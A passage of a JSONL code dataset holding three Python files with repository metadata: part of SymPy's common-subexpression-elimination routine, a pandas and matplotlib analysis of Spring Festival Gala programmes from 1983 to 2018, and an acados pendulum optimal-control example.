muls[j][1]:\n                # see if there is any chance of an nc match\n                ncom = set(muls[i][1]).intersection(set(muls[j][1]))\n                if len(ccom) + len(ncom) < 2:\n                    continue\n\n                # now work harder to find the match\n                sm.set_seq2(muls[j][1])\n                i1, _, n = sm.find_longest_match(0, len(muls[i][1]),\n                                                 0, len(muls[j][1]))\n                ncom = muls[i][1][i1:i1 + n]\n            else:\n                ncom = []\n\n            com = list(ccom) + ncom\n            if len(com) < 2:\n                continue\n\n            to_eliminate.add(Mul(*com))\n\n            # remove ccom from all if there was no ncom; to update the nc part\n            # would require finding the subexpr and then replacing it with a\n            # dummy to keep bounding nc symbols from being identified as a\n            # subexpr, e.g. removing B*C from A*B*C*D might allow A*D to be\n            # identified as a subexpr which would not be right.\n            if not ncom:\n                muls[i][0] = muls[i][0].difference(ccom)\n                for k in xrange(j, len(muls)):\n                    if not ccom.difference(muls[k][0]):\n                        muls[k][0] = muls[k][0].difference(ccom)\n\n    # make to_eliminate canonical; we will prefer non-Muls to Muls\n    # so select them first (non-Muls will have False for is_Mul and will\n    # be first in the ordering.\n    to_eliminate = list(ordered(to_eliminate, lambda _: _.is_Mul))\n\n    # Substitute symbols for all of the repeated subexpressions.\n    replacements = []\n    reduced_exprs = list(reduced_exprs)\n    hit = True\n    for i, subtree in enumerate(to_eliminate):\n        if hit:\n            sym = next(symbols)\n        hit = False\n        if subtree.is_Pow and subtree.exp.is_Rational:\n            update = lambda x: x.xreplace({subtree: sym, 1/subtree: 1/sym})\n        else:\n            update = lambda x: x.subs(subtree, sym)\n        # Make the substitution in all of the target expressions.\n        for j, expr in enumerate(reduced_exprs):\n            old = reduced_exprs[j]\n            reduced_exprs[j] = update(expr)\n            hit = hit or (old != reduced_exprs[j])\n        # Make the substitution in all of the subsequent substitutions.\n        for j in range(i + 1, len(to_eliminate)):\n            old = to_eliminate[j]\n            to_eliminate[j] = update(to_eliminate[j])\n            hit = hit or (old != to_eliminate[j])\n        if hit:\n            replacements.append((sym, subtree))\n\n    # Postprocess the expressions to return the expressions to canonical form.\n    for i, (sym, subtree) in enumerate(replacements):\n        subtree = postprocess_for_cse(subtree, optimizations)\n        replacements[i] = (sym, subtree)\n    reduced_exprs = [postprocess_for_cse(e, optimizations)\n        for e in reduced_exprs]\n\n    # remove replacements that weren't used more than once\n    _remove_singletons(replacements, reduced_exprs)\n\n    if isinstance(exprs, Matrix):\n        reduced_exprs = [Matrix(exprs.rows, exprs.cols, reduced_exprs)]\n    if postprocess is None:\n        return replacements, reduced_exprs\n    return postprocess(replacements, reduced_exprs)\n", "meta": {"hexsha": "81a7c377e244ffde56264355b8c092d514c85374", "size": 14903, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/simplify/cse_main.py", "max_stars_repo_name": "torsknod/sympy-torsknod", "max_stars_repo_head_hexsha": "19425c8d2d876710413987eaa6e69ff9d47a0380", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-03-12T02:52:16.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-12T02:52:16.000Z", "max_issues_repo_path": "sympy/simplify/cse_main.py", "max_issues_repo_name": "torsknod/sympy-torsknod", "max_issues_repo_head_hexsha": "19425c8d2d876710413987eaa6e69ff9d47a0380", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/simplify/cse_main.py", "max_forks_repo_name": "torsknod/sympy-torsknod", "max_forks_repo_head_hexsha": "19425c8d2d876710413987eaa6e69ff9d47a0380", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.2603406326, "max_line_length": 82, "alphanum_fraction": 0.5848486882, "include": true, "reason": "from sympy", "num_tokens": 3612, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834617637482, "lm_q2_score": 0.12085323565689977, "lm_q1q2_score": 0.05712532579565344}}
{"text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Date    : 2019-1-29 17:11:00\r\n# @Author  : suke1900 (johnny824lee@gmail.com)\r\n# @Link    : http://www.makcyun.top\r\n# @Version : $Id$\r\n\r\n\"\"\"\r\n\u722c\u53d6 1983 \u81f3 2018 \u5e74 \u5171 36 \u5e74\u6625\u665a\u7684\u8282\u76ee\u8da3\u4e8b\uff0c\u5305\u62ec\u8fd9\u4e9b\u5185\u5bb9\uff1a\r\n\r\n\u8c01\u5bfc\u6f14\u6625\u665a\u6b21\u6570\u6700\u591a\uff1f\r\n\r\n\u8c01\u4e3b\u6301\u6625\u665a\u6b21\u6570\u6700\u591a\uff1f\r\n\r\n\u54ea\u4e24\u5e74\u7684\u9664\u5915\u521a\u597d\u662f\u540c\u4e00\u5929\uff1f\r\n\r\n\u8c01\u4e0a\u6625\u665a\u6b21\u6570\u6700\u591a\uff0c\u582a\u79f0\u300c\u9489\u5b50\u6237\u300d\uff1f\r\n\r\n\u6e2f\u53f0\u660e\u661f\u4e0a\u6625\u665a\u6b21\u6570\u5bf9\u6bd4\r\n\r\n\u6b4c\u66f2\u3001\u5c0f\u54c1\u3001\u76f8\u58f0\u7c7b\u8282\u76ee\u6570\u91cf\u5bf9\u6bd4\r\n\r\n\"\"\"\r\n\r\n\r\n\r\n# import pandas as pd\r\n\r\n# def get_data():\r\n#     data = pd.read_csv('chinese_newyear2.csv',encoding='utf_8_sig')\r\n#     data = data['category\\tname\\tactor\\tyear'].str.split('\\t',expand=True)\r\n#     data.columns = ['category','name','actor','year']\r\n#     # # data['actor'].str.split('\u3001',expand=True)\r\n#     # data2 = data['actor'].str.split('\u3001',expand=True)\r\n#     # # print(type(data2))\r\n#     # data = pd.merge(data,pd.DataFrame(data2),how='left',left_index=True, right_index=True)\r\n#     # # print(data.columns)\r\n#     data.to_csv('chinese_newyear4.csv',encoding='utf_8_sig',index=0)\r\n\r\n#     print(data)\r\n#     # print(data.describe())\r\n#     # return data\r\n\r\n# get_data()\r\n\r\n\r\n\"\"\"\r\n\u5217\u62c6\u5206\u5408\u5e76\r\nhttps://zhuanlan.zhihu.com/p/30529129\r\n\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport pylab\r\nimport numpy as np\r\nimport matplotlib.dates as mdates\r\nimport matplotlib as mpl\r\n\r\n\r\nplt.style.use('ggplot')\r\nfig = plt.figure(figsize=(5,8))\r\ncolors = '#6D6D6D' #\u9ed1\u8272\r\ncolorstitle = '#EE9922'\r\n\r\n\r\n# \u6625\u665a\u5b98\u7f51\u63d0\u53d6\u4e94\u79cd\u989c\u8272\uff0c\r\ncolor1 = '#D50700'\r\ncolor2 = '#DB2B08'\r\ncolor3 = '#E14F10'\r\ncolor4 = '#E77318'\r\ncolor5 = '#EE9922'\r\n\r\nfontsize_title = 15\r\nfontsize_text = 10\r\n\r\n\r\n\r\n# \u5206\u6790\u5bfc\u6f14\u3001\u4e3b\u6301\u4eba # # # # # # # # # # # # # # # # # #\r\ndef get_infodata():\r\n    data = pd.read_csv('chinese_newyear3.csv',encoding='utf_8_sig')\r\n\r\n    # \u7b5b\u9009\u5bfc\u6f14\u4e3b\u6301\u4eba\r\n    data = data[data['category'] == '\u5bfc\u6f14']\r\n    # data = data[data['category'] == '\u4e3b\u6301']\r\n    data2 = data['content'].str.split('\u3001',expand=True)\r\n\r\n    # \u7edf\u8ba1\u51fa\u73b0\u6b21\u6570\r\n    data2 = data2.apply(pd.value_counts)\r\n    data2['col_num'] = data2.sum(axis=1)\r\n    data2.sort_values(by='col_num',ascending=False,inplace=True)\r\n    data2 = data2['col_num'][:10][::-1]\r\n    return data,data2\r\n\r\n\r\ndef analysis1(data,data2):\r\n    data = data.set_index('year')\r\n    data2.sort_values(ascending=False,inplace=True)\r\n    lst = list(data2.index)[:10]\r\n    lst_num = list(data2)[:10]\r\n\r\n    colorsall = [color1,color2,color3,color4,color5,color1,color2,color3,color4,color5]\r\n    for i,name in enumerate(lst):\r\n        data3 = data['content'].str.contains(name,na=False).astype('int')\r\n        data3 = pd.DataFrame(data3[data3.values == 1])\r\n        data3['year'] = data3.index\r\n\r\n        axs = fig.add_subplot(1, 10, 1+i)\r\n        data3.plot(\r\n            ax=axs,\r\n            x='content',\r\n            y = 'year',\r\n            kind = 'scatter',\r\n            subplots=True,\r\n            sharey=True,\r\n            color=colorsall[i],\r\n            )\r\n        new_ticks = np.linspace(1980,2020,41)\r\n\r\n        plt.yticks(new_ticks)\r\n        plt.tick_params(direction='in')  #\u6807\u7b7e\u671d\u91cc\r\n        plt.tick_params(which='major',length=0)  # \u4e0d\u663e\u793a\u523b\u5ea6\u6807\u7b7e\u957f\u5ea6\r\n        plt.xticks([]) #\u53bb\u6389\u5750\u6807\u6807\u7b7e\r\n        plt.xlabel('%i\u6b21' %(lst_num[i]),fontsize=10)\r\n        plt.xlim(0,2)\r\n\r\n        plt.title(name,color=color5,fontsize=10)\r\n        # plt.tight_layout(pad=3.4, w_pad=0.5, h_pad=1.0)\r\n        fig.subplots_adjust(hspace=0,wspace=0) # \u8c03\u6574\u5b50\u56fe\u95f4\u8ddd\u4e3a0\r\n\r\n    plt.suptitle('\u5bfc\u6f14\u6b21\u6570\u6700\u591a\u7684\u5bfc\u6f14 TOP 10',color=color1,fontsize=18)\r\n    # \u6dfb\u52a0\u603b\u6807\u9898\r\n    # plt.tight_layout()\r\n    plt.savefig('\u5bfc\u6f14\u6b21\u6570\u6700\u591a\u7684\u5bfc\u6f14 TOP 10.png',dpi=200)\r\n    plt.show()\r\n\r\n\r\n\r\n\r\n# \u5206\u6790\u9664\u5915\u65e5\u671f\r\ndef get_date():\r\n    fig = plt.figure(figsize=(5,8))\r\n    ax = fig.add_subplot(111)\r\n    data = pd.read_csv('chinese_newyear3.csv',encoding='utf_8_sig')\r\n    data = data[data['category'] == '\u64ad\u51fa\u65e5\u671f']\r\n\r\n    data = data['content'].str.extract(r'.*?\u5e74(.*?)\u6708(.*?)\u65e5.*?')\r\n    data = data.reset_index(drop=True)\r\n    data.columns = ['month','day']\r\n    data['year'] = np.arange(1983,2019)\r\n\r\n    # int \u8f6c string\r\n    data = data.applymap(str)\r\n    data['year2'] = '1900'\r\n    data['date'] = data['year2'].str.cat([data['month'],data['day']],sep='/')\r\n    data = data.apply(pd.to_numeric,errors='ignore')\r\n    data['date'] = pd.to_datetime(data['date'])\r\n\r\n    ax.plot(\r\n        data['date'],\r\n        data['year'],\r\n        )\r\n\r\n    new_yticks = np.linspace(1980,2020,41)\r\n    date_format = mpl.dates.DateFormatter(\"%m-%d\")\r\n    ax.xaxis.set_major_formatter(date_format)\r\n\r\n    plt.yticks(new_yticks)\r\n    plt.tick_params(direction='in')  #\u6807\u7b7e\u671d\u91cc\r\n\r\n    content = list(zip(data['date'],data['year']))\r\n    # print(content)\r\n\r\n    # for x, y in content:\r\n    #     x2 = '%s' %x.strftime('%m/%d') # \u53ea\u663e\u793a\u6708\u65e5\u683c\u5f0f\r\n    #     # print(x,'\\n',y)\r\n    #     plt.text(x, y+0.2,x2, ha='center', color=color4)\r\n\r\n    # plt.title('\u5386\u5e74\u519c\u5386\u9664\u5915\u65e5\u671f\u53d8\u5316',color=color4,fontsize=14)\r\n    # plt.tight_layout()\r\n    # plt.savefig('\u9664\u5915\u65e5\u671f\u53d8\u5316.png',dpi=200,)\r\n    # plt.show()\r\n\r\n\r\n\r\n# \u5904\u7406\u8282\u76ee\u6570\u636e\r\ndef get_data():\r\n    data = pd.read_csv('chinese_newyear.csv',encoding='utf_8_sig')\r\n    data2 = data['actor'].str.split('\u3001',expand=True) # \u62c6\u5206\u4eba\u5458\u540d\u5355\r\n    data = pd.merge(data,pd.DataFrame(data2),how='left',left_index=True, right_index=True)\r\n    return data\r\n\r\n\r\n# \u8868\u6f14\u6b21\u6570\u6700\u591a\u7684\u6f14\u5458TOP 20\r\ndef analysis2(data):\r\n    cols = data.columns.size - 6\r\n\r\n    cols = list(range(47))\r\n    data = data[cols]\r\n\r\n    # \u7edf\u8ba1\u6f14\u5458\u51fa\u73b0\u6b21\u6570\r\n    data = data.apply(pd.value_counts)\r\n    # \u5217\u6c42\u548c\u8ba1\u7b97\u51fa\u73b0\u603b\u6b21\u6570\r\n    data['col_sum'] = data.sum(axis=1)\r\n\r\n    data.sort_values(by='col_sum',ascending=False,inplace=True)\r\n    # \u53d6TOP20 [::-1]\uff0c\u53cd\u8f6c\u987a\u5e8f\u4fbf\u4e8e\u6761\u5f62\u56fe\u5927\u503c\u5728\u4e0a\r\n    data = data['col_sum'][:20][::-1]\r\n\r\n    # data.plot(\r\n    #     kind = 'barh',\r\n    #     color = color1\r\n    #     )\r\n    # for y,x in enumerate(list(data.values)):\r\n    #     plt.text(x+1,y-0.15,'%i'%x,ha='center',color=color4)\r\n\r\n    # plt.title('\u8868\u6f14\u6b21\u6570\u6700\u591a\u7684\u6f14\u5458 TOP 20',color=colorstitle,fontweight='bold',fontsize=fontsize_title)\r\n\r\n    # plt.tight_layout()\r\n    # plt.xticks([])\r\n    # plt.savefig('\u8868\u6f14\u6b21\u6570\u6700\u591a\u7684\u6f14\u5458TOP20.png',dpi=200)\r\n    # plt.show()\r\n\r\n    return data\r\n\r\n\r\n# \u5404\u7c7b\u8282\u76ee\u6570\u91cf\u5bf9\u6bd4\r\ndef analysis3(data):\r\n    fig = plt.figure(figsize=(8,5))\r\n    num_all = data.shape[0]\r\n    # \u6b4c\u66f2\u8282\u76ee\u6570\u91cf\r\n    num_song = data[data['category'].str.contains('\u6b4c|\u5c3e|\u5f00\u573a')].shape[0]\r\n    # \u5c0f\u54c1\u6570\u91cf\r\n    num_sketch = data[data['category'].str.contains('\u5c0f\u54c1')].shape[0]\r\n    # \u76f8\u58f0\u6570\u91cf\r\n    num_crosstalk = data[data['category'].str.contains('\u76f8\u58f0')].shape[0]\r\n\r\n    # \u5176\u4ed6\u8282\u76ee\u6570\u91cf\r\n    other = num_all - sum([num_song,num_sketch,num_crosstalk])\r\n    lst = [num_song,num_sketch,num_crosstalk,other]\r\n\r\n    sizes = [num_song,other,num_crosstalk,num_sketch]\r\n    labels = ['\u6b4c\u66f2','\u5176\u4ed6','\u76f8\u58f0','\u5c0f\u54c1']\r\n    colors_pie = [color1,color4,color3,color2]\r\n    explode = [0.05,0,0,0]\r\n    plt.pie(\r\n        sizes,\r\n        autopct='%.1f%%',\r\n        labels=labels,\r\n        colors=colors_pie,\r\n        shadow=False,\r\n        startangle=270,\r\n        explode=explode,\r\n        textprops={'fontsize':14,'color':colors}\r\n        )\r\n    plt.title('1983-2018 \u5171 36 \u5e74\u6625\u665a\u8282\u76ee\u7c7b\u578b\u6570\u91cf\u6bd4\u8f83',color=colorstitle,fontsize=fontsize_title)\r\n\r\n\r\n    plt.tight_layout()\r\n    plt.axis('equal')\r\n    plt.axis('off')\r\n    plt.legend(loc='upper right')\r\n    plt.savefig('1983-2018 \u5171 36 \u5e74\u95f4\u5404\u7c7b\u8282\u76ee\u7c7b\u578b\u6570\u91cf\u6bd4\u8f83.png',dpi=200)\r\n\r\n    plt.show()\r\n\r\n\r\n# \u6f14\u5458 TOP10 \u51fa\u6f14\u5e74\u6570\u5206\u5e03\r\ndef analysis4(data,data1):\r\n    data = data.set_index('year')\r\n    data1.sort_values(ascending=False,inplace=True)\r\n    lst = list(data1.index)[:10]\r\n    lst_num = list(data1)[:10]\r\n\r\n    colorsall = [color1,color2,color3,color4,color5,color1,color2,color3,color4,color5]\r\n\r\n    # for \u5faa\u73af\u7ed8\u5236\u5b50\u56fe\r\n    for i,name in enumerate(lst):\r\n        data2 = data['actor'].str.contains(name,na=False).astype('int')\r\n\r\n        data2 = pd.DataFrame(data2[data2.values == 1])\r\n        data2['year'] = data2.index\r\n        data2 = data2.drop_duplicates(subset=['year'],keep='last')\r\n\r\n        axs = fig.add_subplot(1, 10, 1+i)\r\n        data2.plot(\r\n            ax=axs,\r\n            x='actor',\r\n            y = 'year',\r\n            kind = 'scatter',\r\n            subplots=True,\r\n            sharey=True,\r\n            color=colorsall[i],\r\n            )\r\n\r\n        new_ticks = np.linspace(1980,2020,41)\r\n        plt.yticks(new_ticks) # \u5b8c\u6574\u663e\u793a\u6240\u6709\u5e74\u4efd\r\n        plt.tick_params(direction='in')  #\u6807\u7b7e\u671d\u91cc\r\n        plt.tick_params(which='major',length=0) # \u6807\u7b7e\u957f\u5ea6\u4e3a0\r\n        plt.xticks([]) #\u53bb\u6389\u5750\u6807\u6807\u7b7e\r\n        plt.xlabel('%i\u6b21' %(lst_num[i]),fontsize=10)\r\n        plt.xlim(0,2)\r\n        plt.title(name,color=color5,fontsize=10)\r\n\r\n\r\n\r\n        # plt.tight_layout()\r\n        fig.subplots_adjust(hspace=0,wspace=0) # \u8c03\u6574\u5b50\u56fe\u95f4\u8ddd\u4e3a0\r\n\r\n    plt.suptitle('\u8868\u6f14\u6b21\u6570\u6700\u591a\u7684\u6f14\u5458 TOP 10',color=color1,fontsize=18)\r\n    plt.savefig('\u6f14\u5458\u8868\u6f14\u5e74\u4efd.png',dpi=200)\r\n\r\n    plt.show()\r\n\r\n\r\n\r\n# \u6e2f\u53f0\u6f14\u5458\u51fa\u6f14\u5e74\u6570\u5206\u5e03\r\ndef analysis5(data):\r\n    data = data.set_index('year')\r\n    lst = ['\u5468\u6770\u4f26','\u6210\u9f99','\u5218\u5fb7\u534e','\u738b\u529b\u5b8f','\u738b\u83f2','\u90ed\u5bcc\u57ce','\u9648\u5955\u8fc5','\u6797\u4fca\u6770','\u6797\u5fd7\u73b2','\u9ece\u660e',]\r\n    lst_num = []\r\n    for i in lst:\r\n        data2 = data[data['actor'].str.contains(i,na=False)].shape[0]\r\n        lst_num.append(data2)\r\n\r\n    colorsall = [color1,color2,color3,color4,color5,color1,color2,color3,color4,color5]\r\n\r\n    for i,name in enumerate(lst):\r\n        data2 = data['actor'].str.contains(name,na=False).astype('int')\r\n\r\n        data2 = pd.DataFrame(data2[data2.values == 1])\r\n        data2['year'] = data2.index\r\n        data2 = data2.drop_duplicates(subset=['year'],keep='last')\r\n\r\n        axs = fig.add_subplot(1, 10, 1+i)\r\n        data2.plot(\r\n            ax=axs,\r\n            x='actor',\r\n            y = 'year',\r\n            kind = 'scatter',\r\n            subplots=True,\r\n            sharey=True,\r\n            color=colorsall[i],\r\n            )\r\n        new_ticks = np.linspace(1980,2020,41)\r\n        plt.yticks(new_ticks)\r\n        plt.tick_params(direction='in')  #\u6807\u7b7e\u671d\u91cc\r\n        plt.tick_params(which='major',length=0) # \u6807\u7b7e\u957f\u5ea6\u4e3a0\r\n        plt.xticks([]) #\u53bb\u6389\u5750\u6807\u6807\u7b7e\r\n        plt.xlabel('%i\u6b21' %(lst_num[i]),fontsize=10)\r\n        plt.xlim(0,2)\r\n\r\n        plt.title(name,color=color5,fontsize=10)\r\n        # plt.tight_layout()\r\n        fig.subplots_adjust(hspace=0,wspace=0) # \u8c03\u6574\u5b50\u56fe\u95f4\u8ddd\u4e3a0\r\n\r\n    plt.suptitle('\u5341\u5927\u6e2f\u53f0\u6f14\u5458\u51fa\u6f14\u6b21\u6570',color=color1,fontsize=18)\r\n    plt.savefig('\u6e2f\u53f0\u6f14\u5458\u8868\u6f14\u6b21\u6570\u5bf9\u6bd4.png',dpi=200)\r\n    plt.show()\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    # # # \u5bfc\u6f14\u4e3b\u6301\u9664\u5915\u65f6\u95f4\r\n    # data,data2 = get_infodata()\r\n    # analysis1(data,data2)\r\n\r\n    # # \u9664\u5915\u65e5\u671f\r\n    # get_date()\r\n\r\n    # # \u8282\u76ee\u8868\u5904\u7406\r\n    data = get_data()\r\n\r\n    # \u8868\u6f14\u6b21\u6570\u6700\u591a\u7684\u6f14\u5458TOP 20\r\n    # analysis2(data)\r\n\r\n    # \u5404\u7c7b\u8282\u76ee\u6570\u91cf\u5bf9\u6bd4\r\n    # analysis3(data)\r\n\r\n    # # TOP 10 \u6f14\u5458\u8868\u6f14\u5e74\u4efd\r\n    # data1 = analysis2(data)\r\n    # analysis4(data,data1)\r\n\r\n    # # \u6e2f\u53f0\u6f14\u5458\u51fa\u6f14\u5e74\u6570\u5206\u5e03\r\n    analysis5(data)\r\n\r\n", "meta": {"hexsha": "0e5417951e16e2fbb7531baca7deccb263d6002d", "size": 10357, "ext": "py", "lang": "Python", "max_stars_repo_path": "1983-2018 \u4e09\u5341\u516d\u5e74\u6625\u665a\u8282\u76ee\u5355\u5206\u6790/chinese_newyear.py", "max_stars_repo_name": "makcyun/web_scraping_with_python", "max_stars_repo_head_hexsha": "48253a564826d38c8565a372ad1e01e03a78c954", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 272, "max_stars_repo_stars_event_min_datetime": "2018-10-11T09:17:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T13:40:57.000Z", "max_issues_repo_path": "1983-2018 \u4e09\u5341\u516d\u5e74\u6625\u665a\u8282\u76ee\u5355\u5206\u6790/chinese_newyear.py", "max_issues_repo_name": "makcyun/web_scraping_with_python", "max_issues_repo_head_hexsha": "48253a564826d38c8565a372ad1e01e03a78c954", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-10-10T03:31:10.000Z", "max_issues_repo_issues_event_max_datetime": "2020-01-21T09:30:09.000Z", "max_forks_repo_path": "1983-2018 \u4e09\u5341\u516d\u5e74\u6625\u665a\u8282\u76ee\u5355\u5206\u6790/chinese_newyear.py", "max_forks_repo_name": "makcyun/web_scraping_with_python", "max_forks_repo_head_hexsha": "48253a564826d38c8565a372ad1e01e03a78c954", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 151, "max_forks_repo_forks_event_min_datetime": "2018-10-11T04:13:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-28T16:14:09.000Z", "avg_line_length": 26.6932989691, "max_line_length": 96, "alphanum_fraction": 0.5760355315, "include": true, "reason": "import numpy", "num_tokens": 3461, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834617637482, "lm_q2_score": 0.12085323249047067, "lm_q1q2_score": 0.057125324298934764}}
{"text": "#\n# Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren,\n# Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor,\n# Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan,\n# Jonas Koenemann, Yutao Chen, Tobias Sch\u00f6ls, Jonas Schlagenhauf, Moritz Diehl\n#\n# This file is part of acados.\n#\n# The 2-Clause BSD License\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.;\n#\n\nfrom acados_template import *\nimport acados_template as at\nfrom export_ode_model import *\nimport numpy as np\nimport scipy.linalg\nfrom ctypes import *\n\n# create render arguments\nocp = acados_ocp_nlp()\n\n# export model \nmodel = export_ode_model()\n\n# set model_name \nocp.model_name = model.name\n\nTf = 2.0\nnx = model.x.size()[0]\nnu = model.u.size()[0]\nny = nx + nu\nny_e = nx\nN = 50\n\n# set ocp_nlp_dimensions\nnlp_dims     = ocp.dims\nnlp_dims.nx  = nx \nnlp_dims.ny  = ny \nnlp_dims.ny_e = ny_e \nnlp_dims.nbx = 0\nnlp_dims.nbu = nu \nnlp_dims.nu  = model.u.size()[0]\nnlp_dims.N   = N\n\n# set weighting matrices\nnlp_cost = ocp.cost\nQ = np.eye(4)\nQ[0,0] = 1e0\nQ[1,1] = 1e2\nQ[2,2] = 1e-3\nQ[3,3] = 1e-2\n\nR = np.eye(1)\nR[0,0] = 1e0\n\nnlp_cost.W = scipy.linalg.block_diag(Q, R) \n\nVx = np.zeros((ny, nx))\nVx[0,0] = 1.0\nVx[1,1] = 1.0\nVx[2,2] = 1.0\nVx[3,3] = 1.0\n\nnlp_cost.Vx = Vx\n\nVu = np.zeros((ny, nu))\nVu[4,0] = 1.0\nnlp_cost.Vu = Vu\n\nnlp_cost.W_e = Q \n\nVx_e = np.zeros((ny_e, nx))\nVx_e[0,0] = 1.0\nVx_e[1,1] = 1.0\nVx_e[2,2] = 1.0\nVx_e[3,3] = 1.0\n\nnlp_cost.Vx_e = Vx_e\n\nnlp_cost.yref  = np.zeros((ny, ))\nnlp_cost.yref_e = np.zeros((ny_e, ))\n\n# setting bounds\nFmax = 2.0\nnlp_con = ocp.constraints\nnlp_con.lbu = np.array([-Fmax])\nnlp_con.ubu = np.array([+Fmax])\nnlp_con.x0 = np.array([0.0, 3.14, 0.0, 0.0])\n# nlp_con.x0 = np.array([0.0, 0.5, 0.0, 0.0])\nnlp_con.idxbu = np.array([0])\n\n# set constants\n# ocp.constants['PI'] = 3.1415926535897932\n\n# set QP solver\n# ocp.solver_config.qp_solver = 'PARTIAL_CONDENSING_HPIPM'\nocp.solver_config.qp_solver = 'FULL_CONDENSING_QPOASES'\nocp.solver_config.hessian_approx = 'GAUSS_NEWTON'\nocp.solver_config.integrator_type = 'ERK'\n\n# set prediction horizon\nocp.solver_config.tf = Tf\nocp.solver_config.nlp_solver_type = 'SQP'\n# ocp.solver_config.nlp_solver_type = 'SQP_RTI'\n\n# set header path\nocp.acados_include_path  = '/usr/local/include'\nocp.acados_lib_path      = '/usr/local/lib'\n\nacados_solver = generate_solver(model, ocp, json_file = 'acados_ocp.json')\n\nNsim = 100\n\nsimX = np.ndarray((Nsim, nx))\nsimU = np.ndarray((Nsim, nu))\n\nfor i in range(Nsim):\n    status = acados_solver.solve()\n\n    # get solution\n    x0 = acados_solver.get(0, \"x\")\n    u0 = acados_solver.get(0, \"u\")\n    \n    for j in range(nx):\n        simX[i,j] = x0[j]\n\n    for j in range(nu):\n        simU[i,j] = u0[j]\n    \n    # update initial condition\n    x0 = acados_solver.get(1, \"x\")\n\n    acados_solver.set(0, \"lbx\", x0)\n    acados_solver.set(0, \"ubx\", x0)\n\n    # update reference\n    for j in range(N):\n        acados_solver.set(j, \"yref\", np.array([0, 0, 0, 0, 0]))\n    acados_solver.set(N, \"yref\", np.array([0, 0, 0, 0]))\n\n# plot results\nimport matplotlib\nimport matplotlib.pyplot as plt\nt = np.linspace(0.0, Tf/N, Nsim)\nplt.subplot(2, 1, 1)\nplt.step(t, simU, color='r')\nplt.title('closed-loop simulation')\nplt.ylabel('u')\nplt.xlabel('t')\nplt.grid(True)\nplt.subplot(2, 1, 2)\nplt.plot(t, simX[:,1])\nplt.ylabel('theta')\nplt.xlabel('t')\nplt.grid(True)\nplt.show()\n\n", "meta": {"hexsha": "18f8e6ac46c1d56a6d1f5d14cf3469269718dddb", "size": 4585, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/acados_template/python/pendulum_example/generate_c_code.py", "max_stars_repo_name": "jkoendev/acados", "max_stars_repo_head_hexsha": "53b661f99e526d1bf5be166a9b552641df361219", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/acados_template/python/pendulum_example/generate_c_code.py", "max_issues_repo_name": "jkoendev/acados", "max_issues_repo_head_hexsha": "53b661f99e526d1bf5be166a9b552641df361219", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-07-08T16:01:18.000Z", "max_issues_repo_issues_event_max_datetime": "2019-07-08T16:01:18.000Z", "max_forks_repo_path": "examples/acados_template/python/pendulum_example/generate_c_code.py", "max_forks_repo_name": "jkoendev/acados", "max_forks_repo_head_hexsha": "53b661f99e526d1bf5be166a9b552641df361219", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2020-12-08T03:45:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-04T02:36:41.000Z", "avg_line_length": 25.4722222222, "max_line_length": 78, "alphanum_fraction": 0.7025081788, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1538, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 